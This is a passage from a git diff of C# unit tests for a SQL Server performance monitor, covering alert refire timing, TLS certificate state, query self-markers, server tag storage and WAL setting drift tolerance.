+    /// shows in the other and clearing one never clears the other, so a web restart can never resolve an MCP
+    /// alert. It speaks the same snapshot type, so the worker's one report builder maps both, and the inherited
+    /// <c>WebTlsCertificateState.Snapshot</c> name every web caller uses still resolves.</summary>
+    [Fact]
+    public void McpTlsCertificateState_IsItsOwnSeam_AndNeverTouchesTheWebState()
+    {
+        var web = new WebTlsCertificateState();
+        var mcp = new McpTlsCertificateState();
+        Assert.IsAssignableFrom<ListenerTlsCertificateState>(web);
+        Assert.IsAssignableFrom<ListenerTlsCertificateState>(mcp);
+        Assert.Same(typeof(WebTlsCertificateState.Snapshot), typeof(McpTlsCertificateState.Snapshot));
+        Assert.Null(mcp.Read());
+
+        var from = new DateTimeOffset(2029, 1, 1, 0, 0, 0, TimeSpan.Zero);
+        var to = new DateTimeOffset(2030, 1, 1, 0, 0, 0, TimeSpan.Zero);
+        mcp.Publish(from, to, "CN=mcp", "MCPTHUMB", refusedNotYetValid: false);
+        Assert.NotNull(mcp.Read());
+        Assert.Null(web.Read());
+
+        web.Publish(from, to, "CN=web", "WEBTHUMB", refusedNotYetValid: true);
+        mcp.Clear();
+        Assert.Null(mcp.Read());
+        Assert.Equal("WEBTHUMB", web.Read()?.Thumbprint);
+
+        mcp.Publish(from, to, "CN=mcp", "MCPTHUMB", refusedNotYetValid: true);
+        var report = DarlingWorker.BuildWebTlsCertReport(mcp.Read());
+        Assert.True(report.Configured);
+        Assert.True(report.RefusedNotYetValid);   // the host's verdict crosses the seam untouched
+        Assert.Equal("MCPTHUMB", report.Thumbprint);
+        Assert.False(DarlingWorker.BuildWebTlsCertReport(null).Configured);
+    }
+
+    /// <summary>The wiring the behavioural pins above cannot see: the MCP state is registered as its OWN
+    /// singleton beside the web one (never the shared base type, which would hand both hosts one instance), and
+    /// the worker's hourly certificate block evaluates the MCP certificate on the SAME gate as the web one, so the
+    /// MCP alert is reached on every deployment with no second timer to drift.</summary>
+    [Fact]
+    public void McpTlsCert_IsRegisteredAsItsOwnSingleton_AndSweptOnTheWebCertificatesHourlyGate()
+    {
+        var program = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Program.cs");
+        Assert.Contains("builder.Services.AddSingleton<WebTlsCertificateState>();", program, StringComparison.Ordinal);
+        Assert.Contains("builder.Services.AddSingleton<McpTlsCertificateState>();", program, StringComparison.Ordinal);
+        Assert.DoesNotContain("AddSingleton<ListenerTlsCertificateState>", program, StringComparison.Ordinal);
+
+        var lines = RepoFile
+            .ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs")
+            .Replace("\r\n", "\n", StringComparison.Ordinal)
+            .Split('\n');
+        var webCall = Assert.Single(
+            Enumerable.Range(0, lines.Length),
+            i => lines[i].Contains("EvaluateWebTlsCertificateAsync(", StringComparison.Ordinal));
+        var mcpCall = Assert.Single(
+            Enumerable.Range(0, lines.Length),
+            i => lines[i].Contains("EvaluateMcpTlsCertificateAsync(", StringComparison.Ordinal));
+        Assert.True(mcpCall > webCall, "the MCP evaluation follows the web one");
+
+        /* The nearest StampIsDue above the MCP call is the web certificate's own gate, and it opens above the web
+           call too: the two calls share one block, not two. */
+        var guard = Enumerable.Range(0, mcpCall).Reverse()
+            .First(i => lines[i].Contains("StampIsDue(", StringComparison.Ordinal));
+        Assert.Contains("_nextWebTlsCheckUtc", lines[guard]);
+        Assert.True(guard < webCall, "the web and MCP evaluations sit under the same hourly gate");
+        Assert.Equal(1, lines.Count(l => l.Contains("StampIsDue(_nextWebTlsCheckUtc", StringComparison.Ordinal)));
+    }
+
     [Fact]
     public async Task StaleMute_AFreshUnboundedRule_StaysSilent()
     {
@@ -3217,9 +3852,9 @@ public async Task CompressionJobs_ReHangAfterSelfHeal_Escalates_AndStopsRearming
     }
 
     [Fact]
-    public async Task CompressionJobs_AfterEscalation_NeverRearms_ReFiresOnlyOnCooldown()
+    public async Task CompressionJobs_AfterEscalation_NeverRearms_ReFiresOnlyOnTheConnectionRefire()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
         var rearm = new RearmRecorder();
 
@@ -3228,13 +3863,13 @@ public async Task CompressionJobs_AfterEscalation_NeverRearms_ReFiresOnlyOnCoold
         await e.ApplyPolicyJobsStuckAsync(Stuck(1001), rearm.Delegate, Ct);  /* escalate (fire) */
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
 
-        /* Inside the 5-minute cooldown after the escalation: no re-fire, no re-arm. */
+        /* One minute after the escalation, inside connection_refire_minutes (5): no re-fire, no re-arm. */
         h.Now = h.Now.AddMinutes(1);
         await e.ApplyPolicyJobsStuckAsync(Stuck(1001), rearm.Delegate, Ct);
         Assert.Single(rearm.Calls);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
 
-        /* After the cooldown: re-fires (still no re-arm). */
+        /* connection_refire_minutes (5) has passed: re-fires (still no re-arm). */
         h.Now = h.Now.AddMinutes(5);
         await e.ApplyPolicyJobsStuckAsync(Stuck(1001), rearm.Delegate, Ct);
         Assert.Single(rearm.Calls);
@@ -3378,7 +4013,7 @@ public async Task CompressionJobs_SchedulerRetries_StillThereAnHourOn_EscalatesO
         /* The scheduler's own retry did not clear it within a check cadence — the jittered backoff fell past
            the check, or the job crashed again and its backoff doubled. Either is a human's to read about in
            the PostgreSQL log; neither is helped by alter_job. One Critical page, then the escalated state's
-           cooldown re-fires, and no re-arm at any point. */
+           connection_refire_minutes re-fires (off here), and no re-arm at any point. */
         var h = new Harness();
         var e = h.Build();
         var rearm = new RearmRecorder();
@@ -3396,10 +4031,17 @@ public async Task CompressionJobs_SchedulerRetries_StillThereAnHourOn_EscalatesO
         Assert.Contains("escalated", fired.ShortMessage, StringComparison.Ordinal);
         Assert.DoesNotContain("re-armed", fired.ShortMessage, StringComparison.Ordinal);
 
-        /* Escalated: an hour later, still there, still no re-arm; re-fires only on the cooldown. */
+        /* Escalated: an hour later, still there, still no re-arm. #5493: the escalation page was this occurrence's
+           alert, so nothing more is sent while refire is off. */
         h.Now = h.Now.AddHours(1);
         await e.ApplyPolicyJobsStuckAsync(CrashBackoff(1001), rearm.Delegate, Ct);
         Assert.Empty(rearm.Calls);
+        Assert.Single(h.Deliverer.Outcomes);
+
+        /* With connection_refire_minutes on, the standing job is paged again once the interval passed. */
+        h.ConnectionRefireMinutes = 30;
+        await e.ApplyPolicyJobsStuckAsync(CrashBackoff(1001), rearm.Delegate, Ct);
+        Assert.Empty(rearm.Calls);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
         Assert.Contains("after escalation", h.Deliverer.Outcomes[1].ShortMessage, StringComparison.Ordinal);
     }
@@ -4023,17 +4665,20 @@ public async Task AgReplicaDisconnected_FiresOnTheEdge_ThenReconnectResolvesIt()
         var lost = Assert.Single(h.Deliverer.Outcomes);
         Assert.Equal("AG Replica Disconnected", lost.MetricName);
         Assert.Equal(AlertSeverityLevel.Critical, lost.Severity);
+        Assert.Equal("AG1:NODE2", lost.Context?.AgReplicaIdentity);
 
         /* Still disconnected: edge-triggered, so no re-fire. */
         await e.ApplyAgReplicaHealthAsync(ServerId, Name, new[] { ReplicaRow(connected: "DISCONNECTED") }, Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
         /* Back to CONNECTED: the informational reconnect, severity null so the shared severity map renders
-           it green/RESOLVED like "Server Restored". */
+           it green/RESOLVED like "Server Restored". Same per-replica identity as the firing: the pair is
+           one incident. */
         await e.ApplyAgReplicaHealthAsync(ServerId, Name, new[] { ReplicaRow(connected: "CONNECTED") }, Ct);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
         Assert.Equal("AG Replica Reconnected", h.Deliverer.Outcomes[1].MetricName);
         Assert.Null(h.Deliverer.Outcomes[1].Severity);
+        Assert.Equal("AG1:NODE2", h.Deliverer.Outcomes[1].Context?.AgReplicaIdentity);
     }
 
     [Fact]
@@ -4070,9 +4715,9 @@ a state the product never learned to interpret. */
     /* ---------------- #991: sync fell behind ---------------- */
 
     [Fact]
-    public async Task AgSyncFellBehind_FiresOnce_ReFiresOnlyOnCooldown_ThenRecovers()
+    public async Task AgSyncFellBehind_FiresOnce_ReFiresOnlyOnTheConnectionRefire_ThenRecovers()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
 
         await e.ApplyAgDatabaseHealthAsync(ServerId, Name, new[] { DatabaseRow(lagSeconds: 600) }, Ct);
@@ -4141,7 +4786,7 @@ await e.ApplyAgDatabaseHealthAsync(ServerId, Name, new[]
     [Fact]
     public async Task AgSyncFellBehind_LaggingDatabaseThatBecomesSuspended_IsNotAnnouncedAsCaughtUp()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
 
         /* Baseline healthy, then it falls behind. */
@@ -5030,7 +5675,7 @@ public async Task LiveStoreReads_ComputeCollectionStoppedAndCaptureDown()
         var bodySucceeded = false;
         try
         {
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var utcNow = LiveClock.Now();
 
             /* One old SUCCESS (45 min ago), then 12 recent ERRORs — the last 10 runs are all failures and
                the last success is well past the staleness window. */
@@ -5048,14 +5693,14 @@ the last success is well past the staleness window. */
             Assert.Equal(DarlingSelfAlertEvaluator.ConsecutiveFailureThreshold, recentRuns);
             Assert.Equal(0, recentSuccess);
             Assert.True(DarlingSelfAlertEvaluator.IsCollectionStopped(
-                lastSuccess, recentRuns, recentSuccess, DateTime.UtcNow, out _));
+                lastSuccess, recentRuns, recentSuccess, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), out _));
 
             /* Full path (#4757): the seeded 45-minute-old success and the stored failure streak are both
                pre-restart rows to an evaluator that has just started, so at startup it must stay silent: the
                staleness is judged from the service start (the later of the two), and the stored streak is
                not armed until the server has been seen online. Once it has, the streak fires. Real-time
                clock so the seeded rows read as stale in the store. */
-            var h = new Harness { Now = DateTime.UtcNow };
+            var h = new Harness { Now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) };
             var evaluator = h.Build();
 
             await evaluator.EvaluateStoreAlertsAsync(postgres, LiveServerId, Name, connected: true, ct);
@@ -5068,7 +5713,7 @@ clock so the seeded rows read as stale in the store. */
             /* A second evaluator that never sees the server online is the server that stays down across a
                restart: silent at the start, fired by the staleness arm once the window has passed since the
                start. Taken before the capture-down rows below, which add a fresh success. */
-            var hDown = new Harness { Now = DateTime.UtcNow };
+            var hDown = new Harness { Now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) };
             var downEvaluator = hDown.Build();
 
             await downEvaluator.EvaluateStoreAlertsAsync(postgres, LiveServerId, Name, connected: false, ct);
@@ -5077,7 +5722,9 @@ clock so the seeded rows read as stale in the store. */
             hDown.Now = hDown.Now.AddMinutes(31);
             await downEvaluator.EvaluateStoreAlertsAsync(postgres, LiveServerId, Name, connected: false, ct);
             var stoppedByStaleness = Assert.Single(hDown.Deliverer.Outcomes, o => o.MetricName == "Collection Stopped");
-            Assert.StartsWith("No successful collection in 31 minutes", stoppedByStaleness.CurrentValue, StringComparison.Ordinal);
+            /* #5489: the text counts from the store's own last success (seeded 45 minutes ago) plus the 31
+               minutes waited here, not from the service start. */
+            Assert.StartsWith("No successful collection in 76 minutes", stoppedByStaleness.CurrentValue, StringComparison.Ordinal);
 
             /* Capture-down: latest deadlocks run is SESSION_MISSING, latest blocked_process_report is fine. */
             await InsertLogAsync(connection, ct, logId++, "blocked_process_report", utcNow.AddMinutes(-1), "SUCCESS");
@@ -5133,7 +5780,7 @@ public async Task LiveStoreReads_RecentWindow_IsNewestByTimeFirst_WithLogIdBreak
         var bodySucceeded = false;
         try
         {
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var utcNow = LiveClock.Now();
             var older = utcNow.AddMinutes(-10);
             var newest = utcNow.AddMinutes(-1);
 
@@ -5216,7 +5863,7 @@ public async Task LiveStoreReads_ExecuteBothAgQueries_AndReturnTheNewestSnapshot
         var bodySucceeded = false;
         try
         {
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var utcNow = LiveClock.Now();
             var older = utcNow.AddMinutes(-5);
 
             /* An older snapshot that must be filtered out by the MAX(collection_time) predicate, a current one
@@ -5254,7 +5901,7 @@ public async Task LiveStoreReads_ExecuteBothAgQueries_AndReturnTheNewestSnapshot
             /* End to end through the sweep entry point, against rows that are genuinely fresh: the disconnect
                and the suspend are first sightings (silent baselines), and the 900-second lag is past the
                300-second default, so exactly one alert lands. */
-            var h = new Harness { Now = DateTime.UtcNow };
+            var h = new Harness { Now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) };
             var evaluator = h.Build();
             await evaluator.EvaluateStoreAlertsAsync(postgres, LiveServerId, Name, connected: true, ct);
 
@@ -6211,21 +6858,21 @@ await e.ApplyStoreJobCadenceAsync(new[]
     }
 
     [Fact]
-    public async Task JobOverCadence_IsAStandingCondition_ReFiresOnlyOnCooldown_AndWritesOneRecoveryRow()
+    public async Task JobOverCadence_IsAStandingCondition_ReFiresOnlyOnTheConnectionRefire_AndWritesOneRecoveryRow()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
 
         /* Breach: fires once. */
         await e.ApplyStoreJobCadenceAsync(new[] { CadenceJob() }, Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        /* Still breaching one minute later — inside the 5-minute cooldown, no re-fire. */
+        /* Still breaching one minute later — inside connection_refire_minutes (5), no re-fire. */
         h.Now = h.Now.AddMinutes(1);
         await e.ApplyStoreJobCadenceAsync(new[] { CadenceJob() }, Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        /* Still breaching past the cooldown — re-fires under the SAME metric name. */
+        /* Still breaching past connection_refire_minutes — re-fires under the SAME metric name. */
         h.Now = h.Now.AddMinutes(10);
         await e.ApplyStoreJobCadenceAsync(new[] { CadenceJob() }, Ct);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
diff --git a/Darling/Darling.Tests/DarlingSelfQueryMarkerTests.cs b/Darling/Darling.Tests/DarlingSelfQueryMarkerTests.cs
new file mode 100644
index 0000000000..46b13a1cc2
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingSelfQueryMarkerTests.cs
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Darling.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release walk V8, Darling side: the service's own statements against a monitored SQL Server carry the
+/// <c>PerformanceMonitorLite</c> marker the collectors' self-exclusion reads, so they never top a Top Queries or Query Store list.
+/// Darling runs the shared Query Store collector in its own shape (plan XML and query text fetched by id), which Lite's census
+/// does not build, so the by-id fetches, the database probe and the connect-time detection query are checked here.
+/// </summary>
+public sealed class DarlingSelfQueryMarkerTests
+{
+    private static CollectorContext DarlingContext() => new()
+    {
+        ServerId = 7,
+        ServerName = "example-sql-01",
+        Deltas = new CollectorDeltaCalculator(),
+        CollectionTime = DateTime.UtcNow,
+        Target = new CollectorTargetInfo { SqlMajorVersion = 17 },
+        HasCollectedBefore = true,
+        CurrentDatabaseName = "SomeDatabase",
+        CapturePlanXml = true,
+        FetchQueryTextSeparately = true,
+    };
+
+    [Fact]
+    public void TheDetectionQueryAndTheAlertJobReadsCarryTheMarker()
+    {
+        Assert.Contains(QueryStoreCollector.SelfQueryMarker, DarlingServerConnector.DetectionQueryText, StringComparison.Ordinal);
+        Assert.Contains(QueryStoreCollector.SelfQueryMarker, FailedJobsQuery.Sql, StringComparison.Ordinal);
+        Assert.Contains(QueryStoreCollector.SelfQueryMarker, AgentJobStepQuery.BuildSql(2), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryTopLevelSelectOfDarlingsQueryStoreReadsCarriesTheMarker()
+    {
+        var collector = QueryStoreCollector.Instance;
+        var context = DarlingContext();
+        var ids = new long[] { 1, 2, 3 };
+        var texts = new[]
+        {
+            collector.BuildEnumerationQuery(context)!.Text,
+            collector.BuildPerItemQuery("SomeDatabase", context).Text,
+            collector.BuildPlanFetchByIdsQuery("SomeDatabase", context, ids, 1024 * 1024).Text,
+            collector.BuildTextFetchByIdsQuery("SomeDatabase", context, ids, 1024 * 1024).Text,
+        };
+
+        var checkedSelects = 0;
+
+        foreach (var text in texts)
+        {
+            /* A top-level statement starts in column 0; the sub-selects and CTE bodies are indented. */
+            foreach (Match select in Regex.Matches(text, @"(?m)^SELECT\b(?<rest>[^\r\n]*)"))
+            {
+                checkedSelects++;
+                Assert.Contains(QueryStoreCollector.SelfQueryMarker, select.Groups["rest"].Value, StringComparison.Ordinal);
+            }
+        }
+
+        Assert.True(checkedSelects >= 8, $"only {checkedSelects} top-level SELECT statements were found");
+
+        /* The probe's per-database statement is built into @sql and runs inside each database, one cached statement per database. */
+        var probe = texts[0];
+        var sqlAssign = probe.IndexOf("SET @sql = N'", StringComparison.Ordinal);
+        Assert.True(sqlAssign > 0);
+        Assert.Contains(QueryStoreCollector.SelfQueryMarker, probe.Substring(sqlAssign, 120), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingServerTagsTests.cs b/Darling/Darling.Tests/DarlingServerTagsTests.cs
index b17e9db966..4f7d33c262 100644
--- a/Darling/Darling.Tests/DarlingServerTagsTests.cs
+++ b/Darling/Darling.Tests/DarlingServerTagsTests.cs
@@ -22,6 +22,56 @@ public sealed class DarlingServerTagsTests
     private static string V32Sql =>
         PgMigrations.Scripts.Single(s => s.Version == 32).Sql;
 
+    private static string ViewerFile(string name) =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", name);
+
+    [Fact]
+    public void ViewerTagService_HoldsNoTagSql_TheStoreOwnsIt()
+    {
+        var src = ViewerFile("ViewerDataService.ServerTags.cs");
+
+        foreach (var token in new[] { "FROM server_tags", "INSERT INTO server_tag", "UPDATE server_tags", "DELETE FROM server_tag" })
+        {
+            Assert.DoesNotContain(token, src, StringComparison.Ordinal);
+        }
+    }
+
+    [Theory]
+    [InlineData("MainWindow.Tags.cs")]
+    [InlineData("ManageTagsWindow.xaml.cs")]
+    public void TagDialogs_TakeTheDepthCapFromServerTagRules(string file)
+    {
+        var src = ViewerFile(file);
+
+        Assert.Contains("ServerTagRules.MaxDepth", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("MaxTagDepth", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("int MaxDepth = 4;", src, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void StaleNeverReadsTagsComments_AreGone()
+    {
+        Assert.DoesNotContain("service never reads", ViewerFile("ViewerDataService.ServerTags.cs"), StringComparison.Ordinal);
+        Assert.DoesNotContain("service never reads", PgMigrations_Source(), StringComparison.Ordinal);
+        Assert.DoesNotContain("service consumes nothing" + " about tags", RepoFile.ReadRepoFile("Darling", "Darling.Tests", "DarlingServerTagsTests.cs"),
+            StringComparison.Ordinal);
+    }
+
+    private static string PgMigrations_Source() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "PgMigrations.cs");
+
+    [Theory]
+    [InlineData("MainWindow.Tags.cs")]
+    [InlineData("ManageTagsWindow.xaml.cs")]
+    public void TagDeleteDialogs_ReadTheImpact_AndUseTheSharedWarning_WithoutBlockingOnAFailedRead(string file)
+    {
+        var src = ViewerFile(file);
+
+        Assert.Contains("GetServerTagDeleteImpactAsync", src, StringComparison.Ordinal);
+        Assert.Contains("ServerTagCoverage.DeleteWarning(", src, StringComparison.Ordinal);
+        Assert.Contains("Delete impact read failed", src, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void V32_IsSchemaQualified_AndTheNewestMigrationTracksTheBuildVersion()
     {
@@ -101,8 +151,8 @@ by the remove-server path instead. */
     [Fact]
     public void V32_HasNoReloadBeaconTrigger()
     {
-        /* The service consumes nothing about tags — they feed the viewer's sidebar. A config_bump_version
-           trigger would force a full fleet reconcile on every tag edit (V31 custom_views precedent). */
+        /* The alert evaluator reads tags, but through its own cache refresh, so no beacon is needed. A
+           config_bump_version trigger would force a full fleet reconcile on every tag edit (V31 custom_views precedent). */
         Assert.DoesNotContain("config_bump_version", V32Sql, StringComparison.Ordinal);
         Assert.DoesNotContain("CREATE TRIGGER", V32Sql, StringComparison.Ordinal);
     }
@@ -112,9 +162,9 @@ public void BulkAssign_IsASingleStatement_NotARoundTripPerServer()
     {
         /* Tagging 100 servers must be one statement. A row-per-server loop is the difference between an
            instant bulk tag and 100 round trips. */
-        Assert.Contains("unnest($1)", ViewerDataService.ServerTagAssignSql, StringComparison.Ordinal);
-        Assert.Contains("ON CONFLICT DO NOTHING", ViewerDataService.ServerTagAssignSql, StringComparison.Ordinal);
-        Assert.Contains("= ANY($1)", ViewerDataService.ServerTagUnassignSql, StringComparison.Ordinal);
+        Assert.Contains("unnest($1)", ServerTagStore.AssignSql, StringComparison.Ordinal);
+        Assert.Contains("ON CONFLICT DO NOTHING", ServerTagStore.AssignSql, StringComparison.Ordinal);
+        Assert.Contains("= ANY($1)", ServerTagStore.UnassignSql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -122,7 +172,7 @@ public void RemovingAServer_HasAWayToClearItsTags_SoAReAddCannotResurrectThem()
     {
         /* server_id is a deterministic hash of host+database+read-only-intent, so a removed-then-re-added
            server gets the SAME id. Orphaned map rows would silently restore its old tags. */
-        Assert.Contains("DELETE FROM server_tag_map WHERE server_id = $1", ViewerDataService.ServerTagClearForServerSql, StringComparison.Ordinal);
+        Assert.Contains("DELETE FROM server_tag_map WHERE server_id = $1", ServerTagStore.ClearForServerSql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -132,13 +182,16 @@ public void TagSql_UsesBareTableNames_MatchingEveryOtherConfigWrite()
            config_monitored_servers. Schema-qualifying here would diverge from every sibling write. */
         foreach (var sql in new[]
                  {
-                     ViewerDataService.ServerTagsSelectSql,
-                     ViewerDataService.ServerTagMapSelectSql,
-                     ViewerDataService.ServerTagInsertSql,
-                     ViewerDataService.ServerTagRenameSql,
-                     ViewerDataService.ServerTagSetColourSql,
-                     ViewerDataService.ServerTagReparentSql,
-                     ViewerDataService.ServerTagDeleteSql,
+                     ServerTagStore.SelectTagsSql,
+                     ServerTagStore.SelectAssignmentsSql,
+                     ServerTagStore.InsertSql,
+                     ServerTagStore.RenameSql,
+                     ServerTagStore.SetColourSql,
+                     ServerTagStore.ReparentSql,
+                     ServerTagStore.DeleteSql,
+                     ServerTagStore.GetSql,
+                     ServerTagStore.TagScopedRulesSql,
+                     ServerTagStore.RegisteredServerIdsSql,
                  })
         {
             Assert.DoesNotContain("config.server_tag", sql, StringComparison.Ordinal);
@@ -162,10 +215,10 @@ stay NULL (a neutral pill) until coloured and no backfill runs. */
     public void TagColourSql_ReadsAndWritesTheColumn()
     {
         /* The read must SELECT colour (the sidebar swatch + the Overview pills need it); the write targets it. */
-        Assert.Contains("colour", ViewerDataService.ServerTagsSelectSql, StringComparison.Ordinal);
+        Assert.Contains("colour", ServerTagStore.SelectTagsSql, StringComparison.Ordinal);
         Assert.Contains(
             "UPDATE server_tags SET colour = $2 WHERE id = $1",
-            ViewerDataService.ServerTagSetColourSql,
+            ServerTagStore.SetColourSql,
             StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/DarlingSignificantWaitsReadTests.cs b/Darling/Darling.Tests/DarlingSignificantWaitsReadTests.cs
index 646d0da961..df386f5094 100644
--- a/Darling/Darling.Tests/DarlingSignificantWaitsReadTests.cs
+++ b/Darling/Darling.Tests/DarlingSignificantWaitsReadTests.cs
@@ -77,7 +77,10 @@ public async Task ThreeKindsOfNothing_AndTheWaitsThemselves_AgainstDevPostgres()
             var quietDoc = JsonDocument.Parse(quiet);
             Assert.Equal("empty", quietDoc.RootElement.GetProperty("status").GetString());
             var quietText = quietDoc.RootElement.GetProperty("message").GetString()!;
-            Assert.Contains("widen", quietText, StringComparison.Ordinal);
+            /* #4966: the only capture is 48 hours old, so the one-hour window is not covered: the cut sentence, not "widen". */
+            Assert.True(quietDoc.RootElement.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.StartsWith("No wait_info events were captured for ", quietText, StringComparison.Ordinal);
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingReadMessage, quietText, StringComparison.Ordinal);
 
             /* Same zero rows as the branch above, and it must NOT reach for the same word. */
             Assert.DoesNotContain("EVER", quietText, StringComparison.Ordinal);
@@ -95,8 +98,12 @@ public async Task ThreeKindsOfNothing_AndTheWaitsThemselves_AgainstDevPostgres()
             var gatedDoc = JsonDocument.Parse(gated);
             Assert.Equal("empty", gatedDoc.RootElement.GetProperty("status").GetString());
             var gatedText = gatedDoc.RootElement.GetProperty("message").GetString()!;
+            /* #4966: the only other capture is 48 hours old, so the 4-hour window is cut and the healthy claim gives way. */
+            Assert.True(gatedDoc.RootElement.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
             Assert.Contains("none was significant", gatedText, StringComparison.Ordinal);
             Assert.Contains("500", gatedText, StringComparison.Ordinal);
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, gatedText, StringComparison.Ordinal);
+            Assert.DoesNotContain("healthy answer", gatedText, StringComparison.Ordinal);
 
             /* The three empty messages are three different sentences, not one sentence three times. */
             Assert.DoesNotContain("EVER", gatedText, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs b/Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs
index 6b49a33cbb..e10257030f 100644
--- a/Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs
@@ -40,7 +40,7 @@ namespace Darling.Tests;
 /// <c>max_wal_size</c> for <see cref="HostSettingVerdict.OperatorOverride"/> goes through <c>ALTER SYSTEM</c>,
 /// which file attribution alone resolves — no reload needed there either.</para>
 /// </summary>
-[Collection("live-postgres")]
+[Collection("pg-cluster-roles")]
 public sealed class DarlingStoreHostProfileLiveTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/DarlingStoreHostProfileTests.cs b/Darling/Darling.Tests/DarlingStoreHostProfileTests.cs
index 0c90a67a62..88ffa8a3a3 100644
--- a/Darling/Darling.Tests/DarlingStoreHostProfileTests.cs
+++ b/Darling/Darling.Tests/DarlingStoreHostProfileTests.cs
@@ -273,6 +273,78 @@ public void ClassifyVerdict_ManagedBlockDisagreeingWithDerivedValueIsStale()
         Assert.Equal(HostSettingVerdict.StaleAfterHardwareChange, verdict);
     }
 
+    private const long Gb = 1024L * 1024 * 1024;
+
+    private static HostSettingVerdict WalVerdictAfterWriteAndLaterReading(long freeAtWrite, long freeAtCheck)
+    {
+        /* What the service start wrote, then what a later check derives from a later reading of the volume. */
+        var stored = DarlingManagedPostgres.DeriveWalSettings(freeAtWrite).MaxWalSizeMb;
+        var rawDerived = DarlingManagedPostgres.DeriveWalSettings(freeAtCheck).MaxWalSizeMb;
+        var derived = DarlingStoreHostProfile.ApplyWalDriftTolerance("max_wal_size", rawDerived, stored, freeAtCheck);
+        var attribution = new PerformanceMonitor.Darling.Service.ConfSettingAttribution(
+            PerformanceMonitor.Darling.Service.ConfSettingOrigin.ManagedBlock, "darling-managed.conf", 25, $"{stored}MB");
+        return DarlingStoreHostProfile.ClassifyVerdict(attribution, stored, derived).Verdict;
+    }
+
+    /// <summary>#5459: a volume a few hundred MB either side of a ladder edge (16, 32, 64, 128 GB free) must not
+    /// read stale on a store nobody touched. The plant is the churn a busy runner puts on the free-space reading
+    /// between the write and the check; the unmodified comparison (derived straight from the later reading) is
+    /// asserted to read stale for the same plant, so the test fails on the old shape.</summary>
+    [Theory]
+    [InlineData(16, 300)]
+    [InlineData(32, 300)]
+    [InlineData(64, 1024)]
+    [InlineData(128, 2048)]
+    public void WalSizeVerdict_FreeSpaceChurnAcrossARungEdgeStillMatches(long edgeGb, long churnMb)
+    {
+        var edge = edgeGb * Gb;
+        var churn = churnMb * 1024L * 1024;
+
+        /* Written just above the edge, checked just below it, and the other way round. */
+        Assert.NotEqual(
+            DarlingManagedPostgres.DeriveWalSettings(edge + churn).MaxWalSizeMb,
+            DarlingManagedPostgres.DeriveWalSettings(edge - churn).MaxWalSizeMb);
+
+        Assert.Equal(HostSettingVerdict.Matches, WalVerdictAfterWriteAndLaterReading(edge + churn, edge - churn));
+        Assert.Equal(HostSettingVerdict.Matches, WalVerdictAfterWriteAndLaterReading(edge - churn, edge + churn));
+
+        /* The old shape: the same plant compared without the tolerance reads stale. */
+        var stored = DarlingManagedPostgres.DeriveWalSettings(edge + churn).MaxWalSizeMb;
+        var oldDerived = DarlingManagedPostgres.DeriveWalSettings(edge - churn).MaxWalSizeMb;
+        var attribution = new PerformanceMonitor.Darling.Service.ConfSettingAttribution(
+            PerformanceMonitor.Darling.Service.ConfSettingOrigin.ManagedBlock, "darling-managed.conf", 25, $"{stored}MB");
+        Assert.Equal(
+            HostSettingVerdict.StaleAfterHardwareChange,
+            DarlingStoreHostProfile.ClassifyVerdict(attribution, stored, oldDerived).Verdict);
+    }
+
+    /// <summary>#5459: the tolerance is a band, not a switch-off. Headroom that halved or doubled (the rung moves
